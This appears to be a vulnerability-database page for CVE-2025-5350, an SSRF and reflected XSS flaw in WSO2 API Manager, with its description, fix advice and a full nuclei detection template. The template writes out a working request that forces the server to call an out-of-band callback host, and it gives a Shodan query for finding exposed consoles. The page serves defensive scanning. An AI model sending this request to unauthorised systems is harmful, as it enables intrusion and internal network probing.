HexBrain

Browse / CVEs / CVE-2025-5350

CVE-2025-5350· wso2 / api manager· CWE-79

WSO2 - Server Side Request Forgery

mediumseverity
5.9CVSS score
0.6%likelihood of exploitation, next 30 days
50%of all CVEs are less likely
Readycheck to confirm it

WSO2 products contain SSRF and reflected XSS vulnerabilities in the deprecated Try-It feature accessible only to administrative users, caused by improper URL validation and direct content reflection, letting attackers trick admins into executing arbitrary JavaScript and querying internal services.

Impact

Attackers can execute arbitrary JavaScript in admin browsers and perform internal network requests, risking UI manipulation, data exfiltration, and internal service enumeration.

Fix

Remove or secure the deprecated Try-It feature and validate user-supplied URLs properly; update to the latest product versions with fixes.

How to confirm it

Send: GET {{BaseURL}}/carbon/admin/jsp/WSRequestXSSproxy_ajaxprocessor.jsp;b=.jar?uri={{uri_b64}}&pattern=%7E&username=%7E&password=%7E&payload=%7E
Positive when: contains(interactsh_protocol, "dns") || contains(interactsh_protocol, "http") and contains(body, "AxisFault")

Run it with nuclei: nuclei -id CVE-2025-5350 -u <target>

The full check
id: CVE-2025-5350

info:
  name: WSO2 - Server Side Request Forgery
  author: Sourabh Grover
  severity: medium
  description: |
    WSO2 products contain SSRF and reflected XSS vulnerabilities in the deprecated Try-It feature accessible only to administrative users, caused by improper URL validation and direct content reflection, letting attackers trick admins into executing arbitrary JavaScript and querying internal services.
  impact: |
    Attackers can execute arbitrary JavaScript in admin browsers and perform internal network requests, risking UI manipulation, data exfiltration, and internal service enumeration.
  remediation: |
    Remove or secure the deprecated Try-It feature and validate user-supplied URLs properly; update to the latest product versions with fixes.
  reference:
    - https://crnkovic.dev/wso2-server-side-request-forgery/
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 5.9
    cve-id: CVE-2025-5350
    epss-score: 0.00616
    epss-percentile: 0.49835
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: wso2
    product: api_manager
    shodan-query: http.title:"WSO2 Management Console"
  tags: cve,cve2025,ssrf,wso2,carbon,oast,oob

variables:
  cb_url: "http://{{interactsh-url}}/"
  uri_b64: "{{base64(cb_url)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/carbon/admin/jsp/WSRequestXSSproxy_ajaxprocessor.jsp;b=.jar?uri={{uri_b64}}&pattern=%7E&username=%7E&password=%7E&payload=%7E"

    redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns") || contains(interactsh_protocol, "http")'
          - 'contains(body, "AxisFault")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from